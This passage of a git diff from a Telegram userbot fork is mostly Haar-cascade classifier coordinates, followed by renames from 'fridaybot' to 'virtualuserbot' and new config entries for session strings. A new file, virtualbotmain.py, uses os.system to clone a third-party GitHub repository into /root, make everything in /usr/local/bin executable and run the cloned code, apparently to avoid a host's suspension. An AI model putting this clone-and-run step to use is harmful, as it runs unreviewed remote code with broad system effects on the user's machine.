3. + + + + <_> + + <_> + 9 0 8 10 -1. + + <_> + 13 0 4 10 2. + + + + <_> + + <_> + 8 0 8 1 -1. + + <_> + 12 0 4 1 2. + + + + <_> + + <_> + 6 2 8 16 -1. + + <_> + 6 2 4 8 2. + + <_> + 10 10 4 8 2. + + + + <_> + + <_> + 14 10 2 10 -1. + + <_> + 14 10 1 5 2. + + <_> + 15 15 1 5 2. + + + + <_> + + <_> + 12 11 1 2 -1. + + <_> + 12 12 1 1 2. + + + + <_> + + <_> + 16 0 3 8 -1. + + <_> + 17 0 1 8 3. + + + + <_> + + <_> + 14 0 6 10 -1. + + <_> + 17 0 3 10 2. + + + + <_> + + <_> + 16 0 3 5 -1. + + <_> + 17 0 1 5 3. + + + + <_> + + <_> + 4 5 11 2 -1. + + <_> + 4 6 11 1 2. + + + + <_> + + <_> + 1 0 2 1 -1. + + <_> + 2 0 1 1 2. + + + + <_> + + <_> + 0 0 2 3 -1. + + <_> + 0 1 2 1 3. + + + + <_> + + <_> + 11 6 6 11 -1. + + <_> + 13 6 2 11 3. + + + + <_> + + <_> + 14 0 3 1 -1. + + <_> + 15 0 1 1 3. + + + + <_> + + <_> + 19 7 1 2 -1. + + <_> + 19 8 1 1 2. + + + + <_> + + <_> + 17 0 3 9 -1. + + <_> + 18 0 1 9 3. + + + + <_> + + <_> + 12 7 3 4 -1. + + <_> + 13 7 1 4 3. + + + + <_> + + <_> + 0 1 14 2 -1. + + <_> + 0 1 7 1 2. + + <_> + 7 2 7 1 2. + + + + <_> + + <_> + 3 1 3 2 -1. + + <_> + 4 1 1 2 3. + + + + <_> + + <_> + 4 0 15 2 -1. + + <_> + 9 0 5 2 3. + + + + <_> + + <_> + 10 2 6 1 -1. + + <_> + 12 2 2 1 3. + + + + <_> + + <_> + 9 4 6 11 -1. + + <_> + 11 4 2 11 3. + + + + <_> + + <_> + 2 16 2 4 -1. + + <_> + 2 18 2 2 2. + + + + <_> + + <_> + 6 17 6 3 -1. + + <_> + 8 17 2 3 3. + + + + <_> + + <_> + 7 9 6 2 -1. + + <_> + 9 9 2 2 3. + + + + <_> + + <_> + 6 8 9 2 -1. + + <_> + 9 8 3 2 3. + + + + <_> + + <_> + 6 6 2 10 -1. + + <_> + 6 6 1 5 2. + + <_> + 7 11 1 5 2. + + + + <_> + + <_> + 0 11 2 3 -1. + + <_> + 0 12 2 1 3. + + + + <_> + + <_> + 11 15 4 1 -1. + + <_> + 13 15 2 1 2. + + + + <_> + + <_> + 6 17 1 2 -1. + + <_> + 6 18 1 1 2. + + + + <_> + + <_> + 0 0 6 20 -1. + + <_> + 2 0 2 20 3. + + + + <_> + + <_> + 3 10 2 2 -1. + + <_> + 4 10 1 2 2. + + + + <_> + + <_> + 4 7 3 5 -1. + + <_> + 5 7 1 5 3. + + + + <_> + + <_> + 3 12 6 2 -1. + + <_> + 5 12 2 2 3. + + + + <_> + + <_> + 6 15 7 4 -1. + + <_> + 6 17 7 2 2. + + + + <_> + + <_> + 17 16 2 2 -1. + + <_> + 17 16 1 1 2. + + <_> + 18 17 1 1 2. + + + + <_> + + <_> + 15 1 3 16 -1. + + <_> + 16 1 1 16 3. + + + + <_> + + <_> + 6 16 6 3 -1. + + <_> + 8 16 2 3 3. + + + + <_> + + <_> + 15 14 3 2 -1. + + <_> + 15 15 3 1 2. + + + + <_> + + <_> + 12 16 1 2 -1. + + <_> + 12 17 1 1 2. + + + + <_> + + <_> + 0 2 4 4 -1. + + <_> + 0 2 2 2 2. + + <_> + 2 4 2 2 2. + + + + <_> + + <_> + 1 1 6 4 -1. + + <_> + 1 1 3 2 2. + + <_> + 4 3 3 2 2. + + + + <_> + + <_> + 1 18 1 2 -1. + + <_> + 1 19 1 1 2. + + + + <_> + + <_> + 4 7 2 3 -1. + + <_> + 4 8 2 1 3. + + + + <_> + + <_> + 1 0 9 14 -1. + + <_> + 1 7 9 7 2. + + + + <_> + + <_> + 4 9 2 6 -1. + + <_> + 4 9 1 3 2. + + <_> + 5 12 1 3 2. + + + + <_> + + <_> + 3 9 4 3 -1. + + <_> + 5 9 2 3 2. + + + + <_> + + <_> + 0 9 2 4 -1. + + <_> + 0 11 2 2 2. + + + + <_> + + <_> + 16 6 3 10 -1. + + <_> + 17 6 1 10 3. + + + + <_> + + <_> + 16 11 2 1 -1. + + <_> + 17 11 1 1 2. + + + + <_> + + <_> + 5 7 4 4 -1. + + <_> + 5 9 4 2 2. + + + + <_> + + <_> + 10 11 9 2 -1. + + <_> + 13 11 3 2 3. + + + + <_> + + <_> + 15 10 2 2 -1. + + <_> + 15 10 1 1 2. + + <_> + 16 11 1 1 2. + + + + <_> + + <_> + 10 6 6 14 -1. + + <_> + 10 13 6 7 2. + + + + <_> + + <_> + 14 7 3 5 -1. + + <_> + 15 7 1 5 3. + + + + <_> + + <_> + 6 11 12 3 -1. + + <_> + 10 11 4 3 3. + + + + <_> + + <_> + 17 16 1 2 -1. + + <_> + 17 17 1 1 2. + + + + <_> + + <_> + 8 5 5 4 -1. + + <_> + 8 7 5 2 2. + + + + <_> + + <_> + 11 6 4 2 -1. + + <_> + 11 7 4 1 2. + + + + <_> + + <_> + 3 4 8 2 -1. + + <_> + 3 4 4 1 2. + + <_> + 7 5 4 1 2. + + + + <_> + + <_> + 0 8 6 6 -1. + + <_> + 2 8 2 6 3. + + + + <_> + + <_> + 7 4 6 2 -1. + + <_> + 7 5 6 1 2. + + + + <_> + + <_> + 7 3 6 3 -1. + + <_> + 9 3 2 3 3. + + + + <_> + + <_> + 2 17 3 3 -1. + + <_> + 2 18 3 1 3. + + + + <_> + + <_> + 3 10 6 1 -1. + + <_> + 5 10 2 1 3. + + + + <_> + + <_> + 7 2 6 2 -1. + + <_> + 9 2 2 2 3. + + + + <_> + + <_> + 4 11 9 1 -1. + + <_> + 7 11 3 1 3. + + + + <_> + + <_> + 7 7 11 12 -1. + + <_> + 7 13 11 6 2. + + + + <_> + + <_> + 3 2 3 4 -1. + + <_> + 4 2 1 4 3. + + + + <_> + + <_> + 9 7 9 3 -1. + + <_> + 12 7 3 3 3. + + + + <_> + + <_> + 15 11 2 6 -1. + + <_> + 15 11 1 3 2. + + <_> + 16 14 1 3 2. + + + + <_> + + <_> + 0 5 5 3 -1. + + <_> + 0 6 5 1 3. + + + + <_> + + <_> + 8 1 6 12 -1. + + <_> + 10 1 2 12 3. + + + + <_> + + <_> + 3 7 15 13 -1. + + <_> + 8 7 5 13 3. + + + + <_> + + <_> + 0 9 9 9 -1. + + <_> + 0 12 9 3 3. + + + + <_> + + <_> + 16 0 3 8 -1. + + <_> + 17 0 1 8 3. + + + + <_> + + <_> + 16 2 4 2 -1. + + <_> + 18 2 2 2 2. + + + + <_> + + <_> + 13 0 6 5 -1. + + <_> + 16 0 3 5 2. + + + + <_> + + <_> + 15 1 3 2 -1. + + <_> + 16 1 1 2 3. + + + + <_> + + <_> + 11 8 3 2 -1. + + <_> + 12 8 1 2 3. + + + + <_> + + <_> + 1 8 2 12 -1. + + <_> + 1 8 1 6 2. + + <_> + 2 14 1 6 2. + + + + <_> + + <_> + 0 1 6 12 -1. + + <_> + 2 1 2 12 3. + + + + <_> + + <_> + 19 17 1 3 -1. + + <_> + 19 18 1 1 3. + + + + <_> + + <_> + 11 3 3 10 -1. + + <_> + 12 3 1 10 3. + + + + <_> + + <_> + 8 1 9 8 -1. + + <_> + 11 1 3 8 3. + + + + <_> + + <_> + 18 16 2 2 -1. + + <_> + 18 16 1 1 2. + + <_> + 19 17 1 1 2. + + + + <_> + + <_> + 18 16 2 2 -1. + + <_> + 18 16 1 1 2. + + <_> + 19 17 1 1 2. + + + + <_> + + <_> + 6 13 2 6 -1. + + <_> + 6 15 2 2 3. + + + + <_> + + <_> + 9 14 2 2 -1. + + <_> + 9 15 2 1 2. + + + + <_> + + <_> + 14 10 2 4 -1. + + <_> + 14 10 1 2 2. + + <_> + 15 12 1 2 2. + + + + <_> + + <_> + 0 15 2 2 -1. + + <_> + 0 15 1 1 2. + + <_> + 1 16 1 1 2. + + + + <_> + + <_> + 6 7 2 2 -1. + + <_> + 6 7 1 1 2. + + <_> + 7 8 1 1 2. + + + + <_> + + <_> + 11 18 2 2 -1. + + <_> + 11 18 1 1 2. + + <_> + 12 19 1 1 2. + + + + <_> + + <_> + 0 0 6 4 -1. + + <_> + 0 0 3 2 2. + + <_> + 3 2 3 2 2. + + + + <_> + + <_> + 4 1 6 6 -1. + + <_> + 6 1 2 6 3. + + + + <_> + + <_> + 15 13 5 4 -1. + + <_> + 15 15 5 2 2. + + + + <_> + + <_> + 7 17 6 1 -1. + + <_> + 9 17 2 1 3. + + + + <_> + + <_> + 16 19 4 1 -1. + + <_> + 18 19 2 1 2. + + + + <_> + + <_> + 16 16 4 4 -1. + + <_> + 18 16 2 4 2. + + + + <_> + + <_> + 7 8 9 4 -1. + + <_> + 10 8 3 4 3. + + + + <_> + + <_> + 16 18 2 2 -1. + + <_> + 16 18 1 1 2. + + <_> + 17 19 1 1 2. + + + + <_> + + <_> + 2 9 2 4 -1. + + <_> + 2 9 1 2 2. + + <_> + 3 11 1 2 2. + + + + <_> + + <_> + 0 3 8 4 -1. + + <_> + 0 3 4 2 2. + + <_> + 4 5 4 2 2. + + + + <_> + + <_> + 0 1 8 1 -1. + + <_> + 4 1 4 1 2. + + + + <_> + + <_> + 0 5 8 9 -1. + + <_> + 4 5 4 9 2. + + + + <_> + + <_> + 7 18 6 2 -1. + + <_> + 9 18 2 2 3. + + + + <_> + + <_> + 0 4 1 12 -1. + + <_> + 0 8 1 4 3. + + + + <_> + + <_> + 19 13 1 6 -1. + + <_> + 19 15 1 2 3. + + + + <_> + + <_> + 2 8 6 8 -1. + + <_> + 4 8 2 8 3. + + + + <_> + + <_> + 0 0 9 17 -1. + + <_> + 3 0 3 17 3. + + + + <_> + + <_> + 7 9 6 8 -1. + + <_> + 9 9 2 8 3. + + + + <_> + + <_> + 5 10 9 4 -1. + + <_> + 8 10 3 4 3. + + + + <_> + + <_> + 5 0 8 3 -1. + + <_> + 5 1 8 1 3. + + + + <_> + + <_> + 16 6 4 4 -1. + + <_> + 16 6 2 2 2. + + <_> + 18 8 2 2 2. + + + + <_> + + <_> + 17 4 2 8 -1. + + <_> + 17 4 1 4 2. + + <_> + 18 8 1 4 2. + + + + <_> + + <_> + 2 16 1 3 -1. + + <_> + 2 17 1 1 3. + + + + <_> + + <_> + 2 16 1 3 -1. + + <_> + 2 17 1 1 3. + + + + <_> + + <_> + 11 0 1 3 -1. + + <_> + 11 1 1 1 3. + + + + <_> + + <_> + 11 2 9 7 -1. + + <_> + 14 2 3 7 3. + + + + <_> + + <_> + 10 2 3 6 -1. + + <_> + 11 2 1 6 3. + + + + <_> + + <_> + 5 9 15 2 -1. + + <_> + 5 10 15 1 2. + + + + <_> + + <_> + 8 16 6 2 -1. + + <_> + 8 17 6 1 2. + + + + <_> + + <_> + 9 16 10 2 -1. + + <_> + 9 16 5 1 2. + + <_> + 14 17 5 1 2. + + + + <_> + + <_> + 9 17 2 2 -1. + + <_> + 9 17 1 1 2. + + <_> + 10 18 1 1 2. + + + + <_> + + <_> + 10 15 6 4 -1. + + <_> + 10 15 3 2 2. + + <_> + 13 17 3 2 2. + + + + <_> + + <_> + 4 5 15 12 -1. + + <_> + 9 5 5 12 3. + + + + <_> + + <_> + 11 13 2 3 -1. + + <_> + 11 14 2 1 3. + + + + <_> + + <_> + 8 13 7 3 -1. + + <_> + 8 14 7 1 3. + + + + <_> + + <_> + 1 12 1 2 -1. + + <_> + 1 13 1 1 2. + + + + <_> + + <_> + 16 18 2 2 -1. + + <_> + 16 18 1 1 2. + + <_> + 17 19 1 1 2. + + + + <_> + + <_> + 1 19 18 1 -1. + + <_> + 7 19 6 1 3. + + + + <_> + + <_> + 1 17 6 1 -1. + + <_> + 4 17 3 1 2. + + + + <_> + + <_> + 1 3 1 12 -1. + + <_> + 1 9 1 6 2. + + + + <_> + + <_> + 0 9 3 6 -1. + + <_> + 0 11 3 2 3. + + + + <_> + + <_> + 5 4 3 10 -1. + + <_> + 6 4 1 10 3. + + + + <_> + + <_> + 6 17 2 1 -1. + + <_> + 7 17 1 1 2. + + + + <_> + + <_> + 1 0 6 12 -1. + + <_> + 3 0 2 12 3. + + + + <_> + + <_> + 4 7 9 2 -1. + + <_> + 7 7 3 2 3. + + + + <_> + + <_> + 6 11 9 1 -1. + + <_> + 9 11 3 1 3. + + + + <_> + + <_> + 17 10 2 10 -1. + + <_> + 17 15 2 5 2. + + + + <_> + + <_> + 4 10 2 10 -1. + + <_> + 4 10 1 5 2. + + <_> + 5 15 1 5 2. + + + + <_> + + <_> + 12 3 3 12 -1. + + <_> + 13 3 1 12 3. + + + + <_> + + <_> + 15 3 4 6 -1. + + <_> + 15 3 2 3 2. + + <_> + 17 6 2 3 2. + + + + <_> + + <_> + 12 8 3 3 -1. + + <_> + 13 8 1 3 3. + + + + <_> + + <_> + 4 14 2 4 -1. + + <_> + 4 16 2 2 2. + + + + <_> + + <_> + 6 16 1 3 -1. + + <_> + 6 17 1 1 3. + + + + <_> + + <_> + 1 1 2 3 -1. + + <_> + 2 1 1 3 2. + + + + <_> + + <_> + 0 2 4 1 -1. + + <_> + 2 2 2 1 2. + + + + <_> + + <_> + 8 17 12 3 -1. + + <_> + 12 17 4 3 3. + + + + <_> + + <_> + 9 16 6 4 -1. + + <_> + 11 16 2 4 3. + + + + <_> + + <_> + 4 6 3 6 -1. + + <_> + 4 9 3 3 2. + + + + <_> + + <_> + 6 2 12 9 -1. + + <_> + 6 5 12 3 3. + + + + <_> + + <_> + 6 0 14 20 -1. + + <_> + 6 0 7 10 2. + + <_> + 13 10 7 10 2. + + + + <_> + + <_> + 15 16 2 2 -1. + + <_> + 15 16 1 1 2. + + <_> + 16 17 1 1 2. + + + + <_> + + <_> + 15 16 2 2 -1. + + <_> + 15 16 1 1 2. + + <_> + 16 17 1 1 2. + + + + <_> + + <_> + 19 8 1 3 -1. + + <_> + 19 9 1 1 3. + + + + <_> + + <_> + 13 4 1 2 -1. + + <_> + 13 5 1 1 2. + + + + <_> + + <_> + 0 4 4 2 -1. + + <_> + 0 5 4 1 2. + + + + <_> + + <_> + 19 5 1 6 -1. + + <_> + 19 7 1 2 3. + + + + <_> + + <_> + 16 0 2 1 -1. + + <_> + 17 0 1 1 2. + + + + <_> + + <_> + 13 1 1 3 -1. + + <_> + 13 2 1 1 3. + + + + <_> + + <_> + 17 17 1 3 -1. + + <_> + 17 18 1 1 3. + + + + <_> + + <_> + 5 4 8 8 -1. + + <_> + 5 4 4 4 2. + + <_> + 9 8 4 4 2. + + + + <_> + + <_> + 1 2 2 2 -1. + + <_> + 1 2 1 1 2. + + <_> + 2 3 1 1 2. + + + + <_> + + <_> + 0 0 8 6 -1. + + <_> + 0 0 4 3 2. + + <_> + 4 3 4 3 2. + + + + <_> + + <_> + 6 3 4 2 -1. + + <_> + 6 4 4 1 2. + + + + <_> + + <_> + 1 0 3 3 -1. + + <_> + 1 1 3 1 3. + + + + <_> + + <_> + 6 1 7 2 -1. + + <_> + 6 2 7 1 2. + + + + <_> + + <_> + 2 6 12 6 -1. + + <_> + 6 6 4 6 3. + + + + <_> + + <_> + 1 16 9 2 -1. + + <_> + 4 16 3 2 3. + + + + <_> + + <_> + 7 15 6 4 -1. + + <_> + 9 15 2 4 3. + + + + <_> + + <_> + 6 15 12 1 -1. + + <_> + 12 15 6 1 2. + + + + <_> + + <_> + 17 17 1 3 -1. + + <_> + 17 18 1 1 3. + + + + <_> + + <_> + 17 15 2 2 -1. + + <_> + 17 15 1 1 2. + + <_> + 18 16 1 1 2. + + + + <_> + + <_> + 3 13 3 3 -1. + + <_> + 3 14 3 1 3. + + + + <_> + + <_> + 10 17 1 3 -1. + + <_> + 10 18 1 1 3. + + + + <_> + + <_> + 4 0 14 8 -1. + + <_> + 11 0 7 8 2. + + + + <_> + + <_> + 2 0 12 2 -1. + + <_> + 6 0 4 2 3. + + + + <_> + + <_> + 2 0 4 3 -1. + + <_> + 4 0 2 3 2. + + + + <_> + + <_> + 13 1 1 2 -1. + + <_> + 13 2 1 1 2. + + + + <_> + + <_> + 7 5 3 6 -1. + + <_> + 8 5 1 6 3. + + + + <_> + + <_> + 18 2 2 2 -1. + + <_> + 18 2 1 1 2. + + <_> + 19 3 1 1 2. + + + + <_> + + <_> + 15 1 2 14 -1. + + <_> + 16 1 1 14 2. + + + + <_> + + <_> + 15 6 2 2 -1. + + <_> + 15 6 1 1 2. + + <_> + 16 7 1 1 2. + + + + <_> + + <_> + 3 1 6 3 -1. + + <_> + 5 1 2 3 3. + + + + <_> + + <_> + 7 16 2 2 -1. + + <_> + 7 16 1 1 2. + + <_> + 8 17 1 1 2. + + + + <_> + + <_> + 5 17 2 2 -1. + + <_> + 5 17 1 1 2. + + <_> + 6 18 1 1 2. + + + + <_> + + <_> + 9 10 6 10 -1. + + <_> + 11 10 2 10 3. + + + + <_> + + <_> + 10 17 6 3 -1. + + <_> + 12 17 2 3 3. + + + + <_> + + <_> + 14 5 2 10 -1. + + <_> + 14 10 2 5 2. + + + + <_> + + <_> + 11 12 6 2 -1. + + <_> + 11 13 6 1 2. + + + + <_> + + <_> + 8 1 1 3 -1. + + <_> + 8 2 1 1 3. + + + + <_> + + <_> + 12 15 2 2 -1. + + <_> + 12 15 1 1 2. + + <_> + 13 16 1 1 2. + + + + <_> + + <_> + 6 8 6 4 -1. + + <_> + 6 8 3 2 2. + + <_> + 9 10 3 2 2. + + + + <_> + + <_> + 7 5 3 5 -1. + + <_> + 8 5 1 5 3. + + + + <_> + + <_> + 0 5 7 3 -1. + + <_> + 0 6 7 1 3. + + + + <_> + + <_> + 7 9 6 6 -1. + + <_> + 9 9 2 6 3. + + + + <_> + + <_> + 5 7 8 8 -1. + + <_> + 5 11 8 4 2. + + + + <_> + + <_> + 4 9 2 6 -1. + + <_> + 4 9 1 3 2. + + <_> + 5 12 1 3 2. + + + + <_> + + <_> + 10 11 6 1 -1. + + <_> + 12 11 2 1 3. + + + + <_> + + <_> + 13 6 6 11 -1. + + <_> + 15 6 2 11 3. + + + + <_> + + <_> + 8 17 2 2 -1. + + <_> + 8 17 1 1 2. + + <_> + 9 18 1 1 2. + + + + <_> + + <_> + 4 12 12 1 -1. + + <_> + 8 12 4 1 3. + + + + <_> + + <_> + 11 17 3 2 -1. + + <_> + 11 18 3 1 2. + + + + <_> + + <_> + 8 17 6 1 -1. + + <_> + 10 17 2 1 3. + + + + <_> + + <_> + 4 1 14 6 -1. + + <_> + 4 3 14 2 3. + + + + <_> + + <_> + 14 2 2 12 -1. + + <_> + 14 8 2 6 2. + + + + <_> + + <_> + 12 13 3 2 -1. + + <_> + 12 14 3 1 2. + + + + <_> + + <_> + 6 1 6 1 -1. + + <_> + 8 1 2 1 3. + + + + <_> + + <_> + 10 6 6 1 -1. + + <_> + 12 6 2 1 3. + + + + <_> + + <_> + 3 19 2 1 -1. + + <_> + 4 19 1 1 2. + + + + <_> + + <_> + 18 16 2 2 -1. + + <_> + 18 16 1 1 2. + + <_> + 19 17 1 1 2. + + + + <_> + + <_> + 16 11 3 7 -1. + + <_> + 17 11 1 7 3. + + + + <_> + + <_> + 19 5 1 6 -1. + + <_> + 19 8 1 3 2. + + + + <_> + + <_> + 9 8 4 3 -1. + + <_> + 9 9 4 1 3. + + + + <_> + + <_> + 16 8 4 4 -1. + + <_> + 16 8 2 2 2. + + <_> + 18 10 2 2 2. + + + + <_> + + <_> + 2 8 2 2 -1. + + <_> + 2 8 1 1 2. + + <_> + 3 9 1 1 2. + + + + <_> + + <_> + 3 5 6 4 -1. + + <_> + 3 5 3 2 2. + + <_> + 6 7 3 2 2. + + + + <_> + + <_> + 2 3 8 16 -1. + + <_> + 2 3 4 8 2. + + <_> + 6 11 4 8 2. + + + + <_> + + <_> + 17 17 1 3 -1. + + <_> + 17 18 1 1 3. + + + + <_> + + <_> + 7 2 8 11 -1. + + <_> + 11 2 4 11 2. + + + + <_> + + <_> + 13 3 6 14 -1. + + <_> + 16 3 3 14 2. + + + + <_> + + <_> + 0 9 18 2 -1. + + <_> + 6 9 6 2 3. + + + + <_> + + <_> + 6 10 14 3 -1. + + <_> + 6 11 14 1 3. + + + + <_> + + <_> + 10 9 9 3 -1. + + <_> + 13 9 3 3 3. + + + + <_> + + <_> + 3 5 4 6 -1. + + <_> + 3 5 2 3 2. + + <_> + 5 8 2 3 2. + + + + <_> + + <_> + 3 7 3 7 -1. + + <_> + 4 7 1 7 3. + + + + <_> + + <_> + 2 8 11 6 -1. + + <_> + 2 10 11 2 3. + + + + <_> + + <_> + 8 9 6 3 -1. + + <_> + 8 10 6 1 3. + + + + <_> + + <_> + 3 3 3 11 -1. + + <_> + 4 3 1 11 3. + + + + <_> + + <_> + 0 19 6 1 -1. + + <_> + 3 19 3 1 2. + + + + <_> + + <_> + 18 18 1 2 -1. + + <_> + 18 19 1 1 2. + + + + <_> + + <_> + 8 0 12 6 -1. + + <_> + 8 0 6 3 2. + + <_> + 14 3 6 3 2. + + + + <_> + + <_> + 19 5 1 3 -1. + + <_> + 19 6 1 1 3. + + + + <_> + + <_> + 5 8 2 1 -1. + + <_> + 6 8 1 1 2. + + + + <_> + + <_> + 13 11 2 1 -1. + + <_> + 14 11 1 1 2. + + + + <_> + + <_> + 3 6 15 13 -1. + + <_> + 8 6 5 13 3. + + + + <_> + + <_> + 4 3 6 2 -1. + + <_> + 6 3 2 2 3. + + + + <_> + + <_> + 0 18 1 2 -1. + + <_> + 0 19 1 1 2. + + + + <_> + + <_> + 7 8 2 6 -1. + + <_> + 8 8 1 6 2. + + + + <_> + + <_> + 3 0 6 19 -1. + + <_> + 5 0 2 19 3. + + + + <_> + + <_> + 3 1 6 5 -1. + + <_> + 5 1 2 5 3. + + + + <_> + + <_> + 17 14 3 6 -1. + + <_> + 17 16 3 2 3. + + + + <_> + + <_> + 17 13 2 6 -1. + + <_> + 18 13 1 6 2. + + + + <_> + + <_> + 17 18 2 2 -1. + + <_> + 18 18 1 2 2. + + + + <_> + + <_> + 11 14 9 4 -1. + + <_> + 14 14 3 4 3. + + + + <_> + + <_> + 15 8 4 6 -1. + + <_> + 15 8 2 3 2. + + <_> + 17 11 2 3 2. + + + + <_> + + <_> + 1 16 1 3 -1. + + <_> + 1 17 1 1 3. + + + + <_> + + <_> + 7 0 3 14 -1. + + <_> + 8 0 1 14 3. + + + + <_> + + <_> + 12 0 2 1 -1. + + <_> + 13 0 1 1 2. + + + + <_> + + <_> + 7 9 6 5 -1. + + <_> + 10 9 3 5 2. + + + + <_> + + <_> + 15 5 4 9 -1. + + <_> + 17 5 2 9 2. + + + + <_> + + <_> + 11 0 6 6 -1. + + <_> + 13 0 2 6 3. + + + + <_> + + <_> + 16 15 2 2 -1. + + <_> + 16 15 1 1 2. + + <_> + 17 16 1 1 2. + + + + <_> + + <_> + 16 15 2 2 -1. + + <_> + 16 15 1 1 2. + + <_> + 17 16 1 1 2. + + + + <_> + + <_> + 13 2 2 18 -1. + + <_> + 13 11 2 9 2. + + + + <_> + + <_> + 8 4 8 10 -1. + + <_> + 8 9 8 5 2. + + + + <_> + + <_> + 8 3 2 3 -1. + + <_> + 8 4 2 1 3. + + + + <_> + + <_> + 11 1 6 9 -1. + + <_> + 11 4 6 3 3. + + + + <_> + + <_> + 15 4 5 6 -1. + + <_> + 15 6 5 2 3. + + + + <_> + + <_> + 12 18 2 2 -1. + + <_> + 12 18 1 1 2. + + <_> + 13 19 1 1 2. + + + + <_> + + <_> + 1 17 1 3 -1. + + <_> + 1 18 1 1 3. + + + + <_> + + <_> + 12 19 2 1 -1. + + <_> + 13 19 1 1 2. + + + + <_> + + <_> + 8 10 6 6 -1. + + <_> + 10 10 2 6 3. + + + + <_> + + <_> + 14 2 6 5 -1. + + <_> + 16 2 2 5 3. + + + + <_> + + <_> + 9 5 2 6 -1. + + <_> + 9 7 2 2 3. + + + + <_> + + <_> + 1 15 2 2 -1. + + <_> + 2 15 1 2 2. + + + + <_> + + <_> + 18 17 1 3 -1. + + <_> + 18 18 1 1 3. + + + + <_> + + <_> + 10 14 4 6 -1. + + <_> + 10 16 4 2 3. + + + + <_> + + <_> + 9 7 3 2 -1. + + <_> + 10 7 1 2 3. + + + + <_> + + <_> + 6 9 6 2 -1. + + <_> + 6 9 3 1 2. + + <_> + 9 10 3 1 2. + + + + <_> + + <_> + 0 2 1 12 -1. + + <_> + 0 6 1 4 3. + + + + <_> + + <_> + 4 0 15 1 -1. + + <_> + 9 0 5 1 3. + + + + <_> + + <_> + 9 0 8 2 -1. + + <_> + 9 0 4 1 2. + + <_> + 13 1 4 1 2. + + + + <_> + + <_> + 12 2 8 1 -1. + + <_> + 16 2 4 1 2. + + + + <_> + + <_> + 7 1 10 6 -1. + + <_> + 7 3 10 2 3. + + + + <_> + + <_> + 18 6 2 3 -1. + + <_> + 18 7 2 1 3. + + + + <_> + + <_> + 4 12 2 2 -1. + + <_> + 4 12 1 1 2. + + <_> + 5 13 1 1 2. + + + + <_> + + <_> + 6 6 6 2 -1. + + <_> + 8 6 2 2 3. + + + + <_> + + <_> + 0 9 9 6 -1. + + <_> + 3 9 3 6 3. + + + + <_> + + <_> + 17 18 2 2 -1. + + <_> + 18 18 1 2 2. + + + + <_> + + <_> + 11 2 6 16 -1. + + <_> + 13 2 2 16 3. + + + + <_> + + <_> + 2 4 15 13 -1. + + <_> + 7 4 5 13 3. + + + + <_> + + <_> + 16 2 3 10 -1. + + <_> + 17 2 1 10 3. + + + + <_> + + <_> + 6 10 2 1 -1. + + <_> + 7 10 1 1 2. + + + + <_> + + <_> + 1 1 18 16 -1. + + <_> + 10 1 9 16 2. + + + + <_> + + <_> + 14 4 3 15 -1. + + <_> + 15 4 1 15 3. + + + + <_> + + <_> + 19 13 1 2 -1. + + <_> + 19 14 1 1 2. + + + + <_> + + <_> + 2 6 5 8 -1. + + <_> + 2 10 5 4 2. + + + + + + diff --git a/start.sh b/start.sh index 7e9055f5..3b4a1592 100644 --- a/start.sh +++ b/start.sh @@ -1,6 +1,6 @@ -echo """ ____ ____ __ ____ __ _ _ -( __)( _ \( )( \ / o\ ( \/ ) - ) _) ) / )( ) D (/ \ ) / -(__) (__\_)(__)(____/\_/\_/(__/ +echo """ +░█──░█ ─▀─ █▀▀█ ▀▀█▀▀ █──█ █▀▀█ █──   ░█─░█ █▀▀ █▀▀ █▀▀█ █▀▀▄ █▀▀█ ▀▀█▀▀ +─░█░█─ ▀█▀ █▄▄▀ ──█── █──█ █▄▄█ █──   ░█─░█ ▀▀█ █▀▀ █▄▄▀ █▀▀▄ █──█ ──█── +──▀▄▀─ ▀▀▀ ▀─▀▀ ──▀── ─▀▀▀ ▀──▀ ▀▀▀   ─▀▄▄▀ ▀▀▀ ▀▀▀ ▀─▀▀ ▀▀▀─ ▀▀▀▀ ──▀── """ -python3 -m fridaybot +python3 -m virtualuserbot diff --git a/virtualbotmain.py b/virtualbotmain.py new file mode 100644 index 00000000..45f29edc --- /dev/null +++ b/virtualbotmain.py @@ -0,0 +1,6 @@ +# To solbe suspension issue #By sh1vam +import os + +os.system( + "git clone https://github.com/InukaAsith/VirtualUserbot /root/virtualuserbot && mkdir /root/virtualuserbot/bin/ && cd /root/virtualuserbot/ && chmod +x /usr/local/bin/* && python3 -m virtualuserbot" +) diff --git a/fridaybot/Configs.py b/virtualuserbot/Configs.py similarity index 83% rename from fridaybot/Configs.py rename to virtualuserbot/Configs.py index 21c1b8ae..e6a75a6e 100644 --- a/fridaybot/Configs.py +++ b/virtualuserbot/Configs.py @@ -10,7 +10,10 @@ class Config(object): LOGGER = True # Get this value from my.telegram.org! Please do not steal LOCATION = os.environ.get("LOCATION", None) + ALIVE_TEXT = os.environ.get("ALIVE_TEXT", None) OPEN_WEATHER_MAP_APPID = os.environ.get("OPEN_WEATHER_MAP_APPID", None) + STRING_SESSION_2 = os.environ.get("STRING_SESSION_2", None) + STRING_SESSION_3 = os.environ.get("STRING_SESSION_3", None) # Get your own ACCESS_KEY from http://api.screenshotlayer.com/api/capture SCREEN_SHOT_LAYER_ACCESS_KEY = os.environ.get( "SCREEN_SHOT_LAYER_ACCESS_KEY", None @@ -21,6 +24,7 @@ class Config(object): TMP_DOWNLOAD_DIRECTORY = os.environ.get( "TMP_DOWNLOAD_DIRECTORY", "./DOWNLOADS/" ) + TEMP_DOWNLOAD_DIRECTORY = os.environ.get("TEMP_DOWNLOAD_DIRECTORY", None) # This is required for the speech to text module. Get your USERNAME from https://console.bluemix.net/docs/services/speech-to-text/getting-started.html IBM_WATSON_CRED_URL = os.environ.get("IBM_WATSON_CRED_URL", None) IBM_WATSON_CRED_PASSWORD = os.environ.get("IBM_WATSON_CRED_PASSWORD", None) @@ -29,11 +33,11 @@ class Config(object): "HASH_TO_TORRENT_API", "https://example.com/torrent/{}" ) # This is required for the @telegraph functionality. - TELEGRAPH_SHORT_NAME = os.environ.get("TELEGRAPH_SHORT_NAME", "Friday") + TELEGRAPH_SHORT_NAME = os.environ.get("TELEGRAPH_SHORT_NAME", "VirtualUserbot") # Get a Free API Key from OCR.Space OCR_SPACE_API_KEY = os.environ.get("OCR_SPACE_API_KEY", None) DEEP_API_KEY = os.environ.get("DEEP_API_KEY", None) - ANTI_SPAMINC_TOKEN = os.environ.get("ANTI_SPAMINC_TOKEN", None) + NOSPAMPLUS_TOKEN = os.environ.get("NOSPAMPLUS_TOKEN", None) # Send .get_id in any group with all your administration bots (added) G_BAN_LOGGER_GROUP = int(os.environ.get("G_BAN_LOGGER_GROUP", -1001198699233)) # TG API limit. An album can have atmost 10 media! @@ -49,7 +53,7 @@ class Config(object): # DO NOT EDIT BELOW THIS 